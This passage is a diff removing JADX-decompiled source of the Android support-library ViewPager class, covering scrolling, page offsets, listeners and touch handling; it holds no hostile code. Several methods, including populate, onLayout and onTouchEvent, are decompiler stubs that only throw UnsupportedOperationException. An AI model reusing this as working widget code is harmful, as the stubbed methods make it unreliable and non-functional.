smoothScrollTo(clientWidth, 0, i2); - if (z2) { - dispatchOnPageSelected(i); - return; - } - return; - } - if (z2) { - dispatchOnPageSelected(i); - } - completeScroll(false); - scrollTo(clientWidth, 0); - pageScrolled(clientWidth); - } - - @Deprecated - public void setOnPageChangeListener(OnPageChangeListener onPageChangeListener) { - this.mOnPageChangeListener = onPageChangeListener; - } - - public void addOnPageChangeListener(OnPageChangeListener onPageChangeListener) { - if (this.mOnPageChangeListeners == null) { - this.mOnPageChangeListeners = new ArrayList(); - } - this.mOnPageChangeListeners.add(onPageChangeListener); - } - - public void removeOnPageChangeListener(OnPageChangeListener onPageChangeListener) { - List list = this.mOnPageChangeListeners; - if (list != null) { - list.remove(onPageChangeListener); - } - } - - public void clearOnPageChangeListeners() { - List list = this.mOnPageChangeListeners; - if (list != null) { - list.clear(); - } - } - - public void setPageTransformer(boolean z, PageTransformer pageTransformer) { - boolean z2 = pageTransformer != null; - boolean z3 = z2 != (this.mPageTransformer != null); - this.mPageTransformer = pageTransformer; - setChildrenDrawingOrderEnabledCompat(z2); - if (z2) { - this.mDrawingOrder = z ? 2 : 1; - } else { - this.mDrawingOrder = 0; - } - if (z3) { - populate(); - } - } - - void setChildrenDrawingOrderEnabledCompat(boolean z) { - if (this.mSetChildrenDrawingOrderEnabled == null) { - try { - this.mSetChildrenDrawingOrderEnabled = ViewGroup.class.getDeclaredMethod("setChildrenDrawingOrderEnabled", Boolean.TYPE); - } catch (NoSuchMethodException e) { - Log.e(TAG, "Can't find setChildrenDrawingOrderEnabled", e); - } - } - try { - this.mSetChildrenDrawingOrderEnabled.invoke(this, Boolean.valueOf(z)); - } catch (Exception e2) { - Log.e(TAG, "Error changing children drawing order", e2); - } - } - - @Override // android.view.ViewGroup - protected int getChildDrawingOrder(int i, int i2) { - if (this.mDrawingOrder == 2) { - i2 = (i - 1) - i2; - } - return ((LayoutParams) this.mDrawingOrderedChildren.get(i2).getLayoutParams()).childIndex; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public OnPageChangeListener setInternalPageChangeListener(OnPageChangeListener onPageChangeListener) { - OnPageChangeListener onPageChangeListener2 = this.mInternalPageChangeListener; - this.mInternalPageChangeListener = onPageChangeListener; - return onPageChangeListener2; - } - - public int getOffscreenPageLimit() { - return this.mOffscreenPageLimit; - } - - public void setOffscreenPageLimit(int i) { - if (i < 1) { - Log.w(TAG, "Requested offscreen page limit " + i + " too small; defaulting to 1"); - i = 1; - } - if (i != this.mOffscreenPageLimit) { - this.mOffscreenPageLimit = i; - populate(); - } - } - - public void setPageMargin(int i) { - int i2 = this.mPageMargin; - this.mPageMargin = i; - int width = getWidth(); - recomputeScrollPosition(width, width, i, i2); - requestLayout(); - } - - public int getPageMargin() { - return this.mPageMargin; - } - - public void setPageMarginDrawable(Drawable drawable) { - this.mMarginDrawable = drawable; - if (drawable != null) { - refreshDrawableState(); - } - setWillNotDraw(drawable == null); - invalidate(); - } - - public void setPageMarginDrawable(int i) { - setPageMarginDrawable(getContext().getResources().getDrawable(i)); - } - - @Override // android.view.View - protected boolean verifyDrawable(Drawable drawable) { - return super.verifyDrawable(drawable) || drawable == this.mMarginDrawable; - } - - @Override // android.view.ViewGroup, android.view.View - protected void drawableStateChanged() { - super.drawableStateChanged(); - Drawable drawable = this.mMarginDrawable; - if (drawable == null || !drawable.isStateful()) { - return; - } - drawable.setState(getDrawableState()); - } - - float distanceInfluenceForSnapDuration(float f) { - return (float) Math.sin((float) ((f - 0.5f) * 0.4712389167638204d)); - } - - void smoothScrollTo(int i, int i2) { - smoothScrollTo(i, i2, 0); - } - - void smoothScrollTo(int i, int i2, int i3) { - int scrollX; - int abs; - if (getChildCount() == 0) { - setScrollingCacheEnabled(false); - return; - } - Scroller scroller = this.mScroller; - if (scroller != null && !scroller.isFinished()) { - scrollX = this.mIsScrollStarted ? this.mScroller.getCurrX() : this.mScroller.getStartX(); - this.mScroller.abortAnimation(); - setScrollingCacheEnabled(false); - } else { - scrollX = getScrollX(); - } - int i4 = scrollX; - int scrollY = getScrollY(); - int i5 = i - i4; - int i6 = i2 - scrollY; - if (i5 == 0 && i6 == 0) { - completeScroll(false); - populate(); - setScrollState(0); - return; - } - setScrollingCacheEnabled(true); - setScrollState(2); - int clientWidth = getClientWidth(); - int i7 = clientWidth / 2; - float f = clientWidth; - float f2 = i7; - float distanceInfluenceForSnapDuration = f2 + (distanceInfluenceForSnapDuration(Math.min(1.0f, (Math.abs(i5) * 1.0f) / f)) * f2); - int abs2 = Math.abs(i3); - if (abs2 > 0) { - abs = Math.round(Math.abs(distanceInfluenceForSnapDuration / abs2) * 1000.0f) * 4; - } else { - abs = (int) (((Math.abs(i5) / ((f * this.mAdapter.getPageWidth(this.mCurItem)) + this.mPageMargin)) + 1.0f) * 100.0f); - } - int min = Math.min(abs, (int) MAX_SETTLE_DURATION); - this.mIsScrollStarted = false; - this.mScroller.startScroll(i4, scrollY, i5, i6, min); - ViewCompat.postInvalidateOnAnimation(this); - } - - ItemInfo addNewItem(int i, int i2) { - ItemInfo itemInfo = new ItemInfo(); - itemInfo.position = i; - itemInfo.object = this.mAdapter.instantiateItem((ViewGroup) this, i); - itemInfo.widthFactor = this.mAdapter.getPageWidth(i); - if (i2 < 0 || i2 >= this.mItems.size()) { - this.mItems.add(itemInfo); - } else { - this.mItems.add(i2, itemInfo); - } - return itemInfo; - } - - void dataSetChanged() { - int count = this.mAdapter.getCount(); - this.mExpectedAdapterCount = count; - boolean z = this.mItems.size() < (this.mOffscreenPageLimit * 2) + 1 && this.mItems.size() < count; - int i = this.mCurItem; - int i2 = 0; - boolean z2 = false; - while (i2 < this.mItems.size()) { - ItemInfo itemInfo = this.mItems.get(i2); - int itemPosition = this.mAdapter.getItemPosition(itemInfo.object); - if (itemPosition != -1) { - if (itemPosition == -2) { - this.mItems.remove(i2); - i2--; - if (!z2) { - this.mAdapter.startUpdate((ViewGroup) this); - z2 = true; - } - this.mAdapter.destroyItem((ViewGroup) this, itemInfo.position, itemInfo.object); - if (this.mCurItem == itemInfo.position) { - i = Math.max(0, Math.min(this.mCurItem, count - 1)); - } - } else if (itemInfo.position != itemPosition) { - if (itemInfo.position == this.mCurItem) { - i = itemPosition; - } - itemInfo.position = itemPosition; - } - z = true; - } - i2++; - } - if (z2) { - this.mAdapter.finishUpdate((ViewGroup) this); - } - Collections.sort(this.mItems, COMPARATOR); - if (z) { - int childCount = getChildCount(); - for (int i3 = 0; i3 < childCount; i3++) { - LayoutParams layoutParams = (LayoutParams) getChildAt(i3).getLayoutParams(); - if (!layoutParams.isDecor) { - layoutParams.widthFactor = 0.0f; - } - } - setCurrentItemInternal(i, false, true); - requestLayout(); - } - } - - void populate() { - populate(this.mCurItem); - } - - /* JADX WARN: Code restructure failed: missing block: B:25:0x0064, code lost: - if (r8.position == r17.mCurItem) goto L28; - */ - /* JADX WARN: Code restructure failed: missing block: B:28:0x006a, code lost: - r8 = null; - */ - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - void populate(int r18) { - /* - Method dump skipped, instructions count: 628 - To view this dump add '--comments-level debug' option - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.view.ViewPager.populate(int):void"); - } - - private void sortChildDrawingOrder() { - if (this.mDrawingOrder != 0) { - ArrayList arrayList = this.mDrawingOrderedChildren; - if (arrayList == null) { - this.mDrawingOrderedChildren = new ArrayList<>(); - } else { - arrayList.clear(); - } - int childCount = getChildCount(); - for (int i = 0; i < childCount; i++) { - this.mDrawingOrderedChildren.add(getChildAt(i)); - } - Collections.sort(this.mDrawingOrderedChildren, sPositionComparator); - } - } - - private void calculatePageOffsets(ItemInfo itemInfo, int i, ItemInfo itemInfo2) { - ItemInfo itemInfo3; - ItemInfo itemInfo4; - int count = this.mAdapter.getCount(); - int clientWidth = getClientWidth(); - float f = clientWidth > 0 ? this.mPageMargin / clientWidth : 0.0f; - if (itemInfo2 != null) { - int i2 = itemInfo2.position; - if (i2 < itemInfo.position) { - float f2 = itemInfo2.offset + itemInfo2.widthFactor + f; - int i3 = i2 + 1; - int i4 = 0; - while (i3 <= itemInfo.position && i4 < this.mItems.size()) { - ItemInfo itemInfo5 = this.mItems.get(i4); - while (true) { - itemInfo4 = itemInfo5; - if (i3 <= itemInfo4.position || i4 >= this.mItems.size() - 1) { - break; - } - i4++; - itemInfo5 = this.mItems.get(i4); - } - while (i3 < itemInfo4.position) { - f2 += this.mAdapter.getPageWidth(i3) + f; - i3++; - } - itemInfo4.offset = f2; - f2 += itemInfo4.widthFactor + f; - i3++; - } - } else if (i2 > itemInfo.position) { - int size = this.mItems.size() - 1; - float f3 = itemInfo2.offset; - while (true) { - i2--; - if (i2 < itemInfo.position || size < 0) { - break; - } - ItemInfo itemInfo6 = this.mItems.get(size); - while (true) { - itemInfo3 = itemInfo6; - if (i2 >= itemInfo3.position || size <= 0) { - break; - } - size--; - itemInfo6 = this.mItems.get(size); - } - while (i2 > itemInfo3.position) { - f3 -= this.mAdapter.getPageWidth(i2) + f; - i2--; - } - f3 -= itemInfo3.widthFactor + f; - itemInfo3.offset = f3; - } - } - } - int size2 = this.mItems.size(); - float f4 = itemInfo.offset; - int i5 = itemInfo.position - 1; - this.mFirstOffset = itemInfo.position == 0 ? itemInfo.offset : -3.4028235E38f; - int i6 = count - 1; - this.mLastOffset = itemInfo.position == i6 ? (itemInfo.offset + itemInfo.widthFactor) - 1.0f : Float.MAX_VALUE; - int i7 = i - 1; - while (i7 >= 0) { - ItemInfo itemInfo7 = this.mItems.get(i7); - while (i5 > itemInfo7.position) { - f4 -= this.mAdapter.getPageWidth(i5) + f; - i5--; - } - f4 -= itemInfo7.widthFactor + f; - itemInfo7.offset = f4; - if (itemInfo7.position == 0) { - this.mFirstOffset = f4; - } - i7--; - i5--; - } - float f5 = itemInfo.offset + itemInfo.widthFactor + f; - int i8 = itemInfo.position + 1; - int i9 = i + 1; - while (i9 < size2) { - ItemInfo itemInfo8 = this.mItems.get(i9); - while (i8 < itemInfo8.position) { - f5 += this.mAdapter.getPageWidth(i8) + f; - i8++; - } - if (itemInfo8.position == i6) { - this.mLastOffset = (itemInfo8.widthFactor + f5) - 1.0f; - } - itemInfo8.offset = f5; - f5 += itemInfo8.widthFactor + f; - i9++; - i8++; - } - this.mNeedCalculatePageOffsets = false; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class SavedState extends AbsSavedState { - public static final Parcelable.Creator CREATOR = ParcelableCompat.newCreator(new ParcelableCompatCreatorCallbacks() { // from class: android.support.v4.view.ViewPager.SavedState.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.support.v4.os.ParcelableCompatCreatorCallbacks - public SavedState createFromParcel(Parcel parcel, ClassLoader classLoader) { - return new SavedState(parcel, classLoader); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.support.v4.os.ParcelableCompatCreatorCallbacks - public SavedState[] newArray(int i) { - return new SavedState[i]; - } - }); - Parcelable adapterState; - ClassLoader loader; - int position; - - public SavedState(Parcelable parcelable) { - super(parcelable); - } - - @Override // android.support.v4.view.AbsSavedState, android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - super.writeToParcel(parcel, i); - parcel.writeInt(this.position); - parcel.writeParcelable(this.adapterState, i); - } - - public String toString() { - return "FragmentPager.SavedState{" + Integer.toHexString(System.identityHashCode(this)) + " position=" + this.position + "}"; - } - - SavedState(Parcel parcel, ClassLoader classLoader) { - super(parcel, classLoader); - classLoader = classLoader == null ? getClass().getClassLoader() : classLoader; - this.position = parcel.readInt(); - this.adapterState = parcel.readParcelable(classLoader); - this.loader = classLoader; - } - } - - @Override // android.view.View - public Parcelable onSaveInstanceState() { - SavedState savedState = new SavedState(super.onSaveInstanceState()); - savedState.position = this.mCurItem; - PagerAdapter pagerAdapter = this.mAdapter; - if (pagerAdapter != null) { - savedState.adapterState = pagerAdapter.saveState(); - } - return savedState; - } - - @Override // android.view.View - public void onRestoreInstanceState(Parcelable parcelable) { - if (!(parcelable instanceof SavedState)) { - super.onRestoreInstanceState(parcelable); - return; - } - SavedState savedState = (SavedState) parcelable; - super.onRestoreInstanceState(savedState.getSuperState()); - PagerAdapter pagerAdapter = this.mAdapter; - if (pagerAdapter != null) { - pagerAdapter.restoreState(savedState.adapterState, savedState.loader); - setCurrentItemInternal(savedState.position, false, true); - return; - } - this.mRestoredCurItem = savedState.position; - this.mRestoredAdapterState = savedState.adapterState; - this.mRestoredClassLoader = savedState.loader; - } - - @Override // android.view.ViewGroup - public void addView(View view, int i, ViewGroup.LayoutParams layoutParams) { - if (!checkLayoutParams(layoutParams)) { - layoutParams = generateLayoutParams(layoutParams); - } - LayoutParams layoutParams2 = (LayoutParams) layoutParams; - layoutParams2.isDecor |= isDecorView(view); - if (this.mInLayout) { - if (layoutParams2 != null && layoutParams2.isDecor) { - throw new IllegalStateException("Cannot add pager decor view during layout"); - } - layoutParams2.needsMeasure = true; - addViewInLayout(view, i, layoutParams); - return; - } - super.addView(view, i, layoutParams); - } - - private static boolean isDecorView(View view) { - return view.getClass().getAnnotation(DecorView.class) != null; - } - - @Override // android.view.ViewGroup, android.view.ViewManager - public void removeView(View view) { - if (this.mInLayout) { - removeViewInLayout(view); - } else { - super.removeView(view); - } - } - - ItemInfo infoForChild(View view) { - for (int i = 0; i < this.mItems.size(); i++) { - ItemInfo itemInfo = this.mItems.get(i); - if (this.mAdapter.isViewFromObject(view, itemInfo.object)) { - return itemInfo; - } - } - return null; - } - - ItemInfo infoForAnyChild(View view) { - while (true) { - ViewParent parent = view.getParent(); - if (parent != this) { - if (parent == null || !(parent instanceof View)) { - return null; - } - view = (View) parent; - } else { - return infoForChild(view); - } - } - } - - ItemInfo infoForPosition(int i) { - for (int i2 = 0; i2 < this.mItems.size(); i2++) { - ItemInfo itemInfo = this.mItems.get(i2); - if (itemInfo.position == i) { - return itemInfo; - } - } - return null; - } - - @Override // android.view.ViewGroup, android.view.View - protected void onAttachedToWindow() { - super.onAttachedToWindow(); - this.mFirstLayout = true; - } - - @Override // android.view.View - protected void onMeasure(int i, int i2) { - LayoutParams layoutParams; - LayoutParams layoutParams2; - int i3; - int i4; - int i5; - int i6; - boolean z = false; - setMeasuredDimension(getDefaultSize(0, i), getDefaultSize(0, i2)); - int measuredWidth = getMeasuredWidth(); - this.mGutterSize = Math.min(measuredWidth / 10, this.mDefaultGutterSize); - int paddingLeft = (measuredWidth - getPaddingLeft()) - getPaddingRight(); - int measuredHeight = (getMeasuredHeight() - getPaddingTop()) - getPaddingBottom(); - int childCount = getChildCount(); - int i7 = 0; - while (true) { - boolean z2 = true; - int i8 = 1073741824; - if (i7 >= childCount) { - break; - } - View childAt = getChildAt(i7); - if (childAt.getVisibility() != 8 && (layoutParams2 = (LayoutParams) childAt.getLayoutParams()) != null && layoutParams2.isDecor) { - int i9 = layoutParams2.gravity & 7; - int i10 = layoutParams2.gravity & 112; - boolean z3 = (i10 == 48 || i10 == 80) ? true : z; - if (i9 != 3 && i9 != 5) { - z2 = z; - } - int i11 = ExploreByTouchHelper.INVALID_ID; - if (z3) { - i3 = Integer.MIN_VALUE; - i11 = 1073741824; - } else { - i3 = z2 ? 1073741824 : Integer.MIN_VALUE; - } - if (layoutParams2.width != -2) { - i5 = layoutParams2.width != -1 ? layoutParams2.width : paddingLeft; - i4 = 1073741824; - } else { - i4 = i11; - i5 = paddingLeft; - } - if (layoutParams2.height != -2) { - i6 = layoutParams2.height != -1 ? layoutParams2.height : measuredHeight; - } else { - i6 = measuredHeight; - i8 = i3; - } - childAt.measure(View.MeasureSpec.makeMeasureSpec(i5, i4), View.MeasureSpec.makeMeasureSpec(i6, i8)); - if (z3) { - measuredHeight -= childAt.getMeasuredHeight(); - } else if (z2) { - paddingLeft -= childAt.getMeasuredWidth(); - } - } - i7++; - z = false; - } - this.mChildWidthMeasureSpec = View.MeasureSpec.makeMeasureSpec(paddingLeft, 1073741824); - this.mChildHeightMeasureSpec = View.MeasureSpec.makeMeasureSpec(measuredHeight, 1073741824); - this.mInLayout = true; - populate(); - this.mInLayout = false; - int childCount2 = getChildCount(); - for (int i12 = 0; i12 < childCount2; i12++) { - View childAt2 = getChildAt(i12); - if (childAt2.getVisibility() != 8 && ((layoutParams = (LayoutParams) childAt2.getLayoutParams()) == null || !layoutParams.isDecor)) { - childAt2.measure(View.MeasureSpec.makeMeasureSpec((int) (paddingLeft * layoutParams.widthFactor), 1073741824), this.mChildHeightMeasureSpec); - } - } - } - - @Override // android.view.View - protected void onSizeChanged(int i, int i2, int i3, int i4) { - super.onSizeChanged(i, i2, i3, i4); - if (i != i3) { - int i5 = this.mPageMargin; - recomputeScrollPosition(i, i3, i5, i5); - } - } - - private void recomputeScrollPosition(int i, int i2, int i3, int i4) { - if (i2 > 0 && !this.mItems.isEmpty()) { - if (!this.mScroller.isFinished()) { - this.mScroller.setFinalX(getCurrentItem() * getClientWidth()); - return; - } else { - scrollTo((int) ((getScrollX() / (((i2 - getPaddingLeft()) - getPaddingRight()) + i4)) * (((i - getPaddingLeft()) - getPaddingRight()) + i3)), getScrollY()); - return; - } - } - ItemInfo infoForPosition = infoForPosition(this.mCurItem); - int min = (int) ((infoForPosition != null ? Math.min(infoForPosition.offset, this.mLastOffset) : 0.0f) * ((i - getPaddingLeft()) - getPaddingRight())); - if (min != getScrollX()) { - completeScroll(false); - scrollTo(min, getScrollY()); - } - } - - /* JADX WARN: Removed duplicated region for block: B:22:0x0073 */ - /* JADX WARN: Removed duplicated region for block: B:29:0x0090 */ - @Override // android.view.ViewGroup, android.view.View - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - protected void onLayout(boolean r19, int r20, int r21, int r22, int r23) { - /* - Method dump skipped, instructions count: 286 - To view this dump add '--comments-level debug' option - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.view.ViewPager.onLayout(boolean, int, int, int, int):void"); - } - - @Override // android.view.View - public void computeScroll() { - this.mIsScrollStarted = true; - if (!this.mScroller.isFinished() && this.mScroller.computeScrollOffset()) { - int scrollX = getScrollX(); - int scrollY = getScrollY(); - int currX = this.mScroller.getCurrX(); - int currY = this.mScroller.getCurrY(); - if (scrollX != currX || scrollY != currY) { - scrollTo(currX, currY); - if (!pageScrolled(currX)) { - this.mScroller.abortAnimation(); - scrollTo(0, currY); - } - } - ViewCompat.postInvalidateOnAnimation(this); - return; - } - completeScroll(true); - } - - private boolean pageScrolled(int i) { - if (this.mItems.size() == 0) { - if (this.mFirstLayout) { - return false; - } - this.mCalledSuper = false; - onPageScrolled(0, 0.0f, 0); - if (this.mCalledSuper) { - return false; - } - throw new IllegalStateException("onPageScrolled did not call superclass implementation"); - } - ItemInfo infoForCurrentScrollPosition = infoForCurrentScrollPosition(); - int clientWidth = getClientWidth(); - int i2 = this.mPageMargin; - int i3 = clientWidth + i2; - float f = clientWidth; - int i4 = infoForCurrentScrollPosition.position; - float f2 = ((i / f) - infoForCurrentScrollPosition.offset) / (infoForCurrentScrollPosition.widthFactor + (i2 / f)); - this.mCalledSuper = false; - onPageScrolled(i4, f2, (int) (i3 * f2)); - if (this.mCalledSuper) { - return true; - } - throw new IllegalStateException("onPageScrolled did not call superclass implementation"); - } - - /* JADX WARN: Removed duplicated region for block: B:22:0x0064 */ - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - protected void onPageScrolled(int r13, float r14, int r15) { - /* - r12 = this; - int r0 = r12.mDecorChildCount - r1 = 0 - r2 = 1 - if (r0 <= 0) goto L6b - int r0 = r12.getScrollX() - int r3 = r12.getPaddingLeft() - int r4 = r12.getPaddingRight() - int r5 = r12.getWidth() - int r6 = r12.getChildCount() - r7 = r1 - L1b: - if (r7 >= r6) goto L6b - android.view.View r8 = r12.getChildAt(r7) - android.view.ViewGroup$LayoutParams r9 = r8.getLayoutParams() - android.support.v4.view.ViewPager$LayoutParams r9 = (android.support.v4.view.ViewPager.LayoutParams) r9 - boolean r10 = r9.isDecor - if (r10 != 0) goto L2c - goto L68 - L2c: - int r9 = r9.gravity - r9 = r9 & 7 - if (r9 == r2) goto L4d - r10 = 3 - if (r9 == r10) goto L47 - r10 = 5 - if (r9 == r10) goto L3a - r9 = r3 - goto L5c - L3a: - int r9 = r5 - r4 - int r10 = r8.getMeasuredWidth() - int r9 = r9 - r10 - int r10 = r8.getMeasuredWidth() - int r4 = r4 + r10 - goto L59 - L47: - int r9 = r8.getWidth() - int r9 = r9 + r3 - goto L5c - L4d: - int r9 = r8.getMeasuredWidth() - int r9 = r5 - r9 - int r9 = r9 / 2 - int r9 = java.lang.Math.max(r9, r3) - L59: - r11 = r9 - r9 = r3 - r3 = r11 - L5c: - int r3 = r3 + r0 - int r10 = r8.getLeft() - int r3 = r3 - r10 - if (r3 == 0) goto L67 - r8.offsetLeftAndRight(r3) - L67: - r3 = r9 - L68: - int r7 = r7 + 1 - goto L1b - L6b: - r12.dispatchOnPageScrolled(r13, r14, r15) - android.support.v4.view.ViewPager$PageTransformer r13 = r12.mPageTransformer - if (r13 == 0) goto L9f - int r13 = r12.getScrollX() - int r14 = r12.getChildCount() - L7a: - if (r1 >= r14) goto L9f - android.view.View r15 = r12.getChildAt(r1) - android.view.ViewGroup$LayoutParams r0 = r15.getLayoutParams() - android.support.v4.view.ViewPager$LayoutParams r0 = (android.support.v4.view.ViewPager.LayoutParams) r0 - boolean r0 = r0.isDecor - if (r0 == 0) goto L8b - goto L9c - L8b: - int r0 = r15.getLeft() - int r0 = r0 - r13 - float r0 = (float) r0 - int r3 = r12.getClientWidth() - float r3 = (float) r3 - float r0 = r0 / r3 - android.support.v4.view.ViewPager$PageTransformer r3 = r12.mPageTransformer - r3.transformPage(r15, r0) - L9c: - int r1 = r1 + 1 - goto L7a - L9f: - r12.mCalledSuper = r2 - return - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.view.ViewPager.onPageScrolled(int, float, int):void"); - } - - private void dispatchOnPageScrolled(int i, float f, int i2) { - OnPageChangeListener onPageChangeListener = this.mOnPageChangeListener; - if (onPageChangeListener != null) { - onPageChangeListener.onPageScrolled(i, f, i2); - } - List list = this.mOnPageChangeListeners; - if (list != null) { - int size = list.size(); - for (int i3 = 0; i3 < size; i3++) { - OnPageChangeListener onPageChangeListener2 = this.mOnPageChangeListeners.get(i3); - if (onPageChangeListener2 != null) { - onPageChangeListener2.onPageScrolled(i, f, i2); - } - } - } - OnPageChangeListener onPageChangeListener3 = this.mInternalPageChangeListener; - if (onPageChangeListener3 != null) { - onPageChangeListener3.onPageScrolled(i, f, i2); - } - } - - private void dispatchOnPageSelected(int i) { - OnPageChangeListener onPageChangeListener = this.mOnPageChangeListener; - if (onPageChangeListener != null) { - onPageChangeListener.onPageSelected(i); - } - List list = this.mOnPageChangeListeners; - if (list != null) { - int size = list.size(); - for (int i2 = 0; i2 < size; i2++) { - OnPageChangeListener onPageChangeListener2 = this.mOnPageChangeListeners.get(i2); - if (onPageChangeListener2 != null) { - onPageChangeListener2.onPageSelected(i); - } - } - } - OnPageChangeListener onPageChangeListener3 = this.mInternalPageChangeListener; - if (onPageChangeListener3 != null) { - onPageChangeListener3.onPageSelected(i); - } - } - - private void dispatchOnScrollStateChanged(int i) { - OnPageChangeListener onPageChangeListener = this.mOnPageChangeListener; - if (onPageChangeListener != null) { - onPageChangeListener.onPageScrollStateChanged(i); - } - List list = this.mOnPageChangeListeners; - if (list != null) { - int size = list.size(); - for (int i2 = 0; i2 < size; i2++) { - OnPageChangeListener onPageChangeListener2 = this.mOnPageChangeListeners.get(i2); - if (onPageChangeListener2 != null) { - onPageChangeListener2.onPageScrollStateChanged(i); - } - } - } - OnPageChangeListener onPageChangeListener3 = this.mInternalPageChangeListener; - if (onPageChangeListener3 != null) { - onPageChangeListener3.onPageScrollStateChanged(i); - } - } - - private void completeScroll(boolean z) { - boolean z2 = this.mScrollState == 2; - if (z2) { - setScrollingCacheEnabled(false); - if (!this.mScroller.isFinished()) { - this.mScroller.abortAnimation(); - int scrollX = getScrollX(); - int scrollY = getScrollY(); - int currX = this.mScroller.getCurrX(); - int currY = this.mScroller.getCurrY(); - if (scrollX != currX || scrollY != currY) { - scrollTo(currX, currY); - if (currX != scrollX) { - pageScrolled(currX); - } - } - } - } - this.mPopulatePending = false; - for (int i = 0; i < this.mItems.size(); i++) { - ItemInfo itemInfo = this.mItems.get(i); - if (itemInfo.scrolling) { - itemInfo.scrolling = false; - z2 = true; - } - } - if (z2) { - if (z) { - ViewCompat.postOnAnimation(this, this.mEndScrollRunnable); - } else { - this.mEndScrollRunnable.run(); - } - } - } - - private boolean isGutterDrag(float f, float f2) { - return (f < ((float) this.mGutterSize) && f2 > 0.0f) || (f > ((float) (getWidth() - this.mGutterSize)) && f2 < 0.0f); - } - - private void enableLayers(boolean z) { - int childCount = getChildCount(); - for (int i = 0; i < childCount; i++) { - ViewCompat.setLayerType(getChildAt(i), z ? 2 : 0, null); - } - } - - @Override // android.view.ViewGroup - public boolean onInterceptTouchEvent(MotionEvent motionEvent) { - int action = motionEvent.getAction() & 255; - if (action == 3 || action == 1) { - resetTouch(); - return false; - } - if (action != 0) { - if (this.mIsBeingDragged) { - return true; - } - if (this.mIsUnableToDrag) { - return false; - } - } - if (action == 0) { - float x = motionEvent.getX(); - this.mInitialMotionX = x; - this.mLastMotionX = x; - float y = motionEvent.getY(); - this.mInitialMotionY = y; - this.mLastMotionY = y; - this.mActivePointerId = motionEvent.getPointerId(0); - this.mIsUnableToDrag = false; - this.mIsScrollStarted = true; - this.mScroller.computeScrollOffset(); - if (this.mScrollState == 2 && Math.abs(this.mScroller.getFinalX() - this.mScroller.getCurrX()) > this.mCloseEnough) { - this.mScroller.abortAnimation(); - this.mPopulatePending = false; - populate(); - this.mIsBeingDragged = true; - requestParentDisallowInterceptTouchEvent(true); - setScrollState(1); - } else { - completeScroll(false); - this.mIsBeingDragged = false; - } - } else if (action == 2) { - int i = this.mActivePointerId; - if (i != -1) { - int findPointerIndex = motionEvent.findPointerIndex(i); - float x2 = motionEvent.getX(findPointerIndex); - float f = x2 - this.mLastMotionX; - float abs = Math.abs(f); - float y2 = motionEvent.getY(findPointerIndex); - float abs2 = Math.abs(y2 - this.mInitialMotionY); - int i2 = (f > 0.0f ? 1 : (f == 0.0f ? 0 : -1)); - if (i2 != 0 && !isGutterDrag(this.mLastMotionX, f) && canScroll(this, false, (int) f, (int) x2, (int) y2)) { - this.mLastMotionX = x2; - this.mLastMotionY = y2; - this.mIsUnableToDrag = true; - return false; - } - int i3 = this.mTouchSlop; - if (abs > i3 && abs * 0.5f > abs2) { - this.mIsBeingDragged = true; - requestParentDisallowInterceptTouchEvent(true); - setScrollState(1); - float f2 = this.mInitialMotionX; - float f3 = this.mTouchSlop; - this.mLastMotionX = i2 > 0 ? f2 + f3 : f2 - f3; - this.mLastMotionY = y2; - setScrollingCacheEnabled(true); - } else if (abs2 > i3) { - this.mIsUnableToDrag = true; - } - if (this.mIsBeingDragged && performDrag(x2)) { - ViewCompat.postInvalidateOnAnimation(this); - } - } - } else if (action == 6) { - onSecondaryPointerUp(motionEvent); - } - if (this.mVelocityTracker == null) { - this.mVelocityTracker = VelocityTracker.obtain(); - } - this.mVelocityTracker.addMovement(motionEvent); - return this.mIsBeingDragged; - } - - /* JADX WARN: Removed duplicated region for block: B:58:0x0139 */ - @Override // android.view.View - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - public boolean onTouchEvent(android.view.MotionEvent r8) { - /* - Method dump skipped, instructions count: 351 - To view this dump add '--comments-level debug' option - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.view.ViewPager.onTouchEvent(android.view.MotionEvent):boolean"); - } - - private boolean resetTouch() { - this.mActivePointerId = -1; - endDrag(); - return this.mLeftEdge.onRelease() | this.mRightEdge.onRelease(); - } - - private void requestParentDisallowInterceptTouchEvent(boolean z) { - ViewParent parent = getParent(); - if (parent != null) { - parent.requestDisallowInterceptTouchEvent(z); - } - } - - private boolean performDrag(float f) { - boolean z; - float f2 = this.mLastMotionX - f; - this.mLastMotionX = f; - float scrollX = getScrollX() + f2; - float clientWidth = getClientWidth(); - float f3 = this.mFirstOffset * clientWidth; - float f4 = this.mLastOffset * clientWidth; - ItemInfo itemInfo = this.mItems.get(0); - ArrayList arrayList = this.mItems; - boolean z2 = true; - ItemInfo itemInfo2 = arrayList.get(arrayList.size() - 1); - if (itemInfo.position != 0) { - f3 = itemInfo.offset * clientWidth; - z = false; - } else { - z = true; - } - if (itemInfo2.position != this.mAdapter.getCount() - 1) { - f4 = itemInfo2.offset * clientWidth; - z2 = false; - } - if (scrollX < f3) { - r4 = z ? this.mLeftEdge.onPull(Math.abs(f3 - scrollX) / clientWidth) : false; - scrollX = f3; - } else if (scrollX > f4) { - r4 = z2 ? this.mRightEdge.onPull(Math.abs(scrollX - f4) / clientWidth) : false; - scrollX = f4; - } - int i = (int) scrollX; - this.mLastMotionX += scrollX - i; - scrollTo(i, getScrollY()); - pageScrolled(i); - return r4; - } - - private ItemInfo infoForCurrentScrollPosition() { - int i; - int clientWidth = getClientWidth(); - float f = 0.0f; - float scrollX = clientWidth > 0 ? getScrollX() / clientWidth : 0.0f; - float f2 = clientWidth > 0 ? this.mPageMargin / clientWidth : 0.0f; - int i2 = 0; - boolean z = true; - ItemInfo itemInfo = null; - int i3 = -1; - float f3 = 0.0f; - while (i2 < this.mItems.size()) { - ItemInfo itemInfo2 = this.mItems.get(i2); - if (!z && itemInfo2.position != (i = i3 + 1)) { - itemInfo2 = this.mTempItem; - itemInfo2.offset = f + f3 + f2; 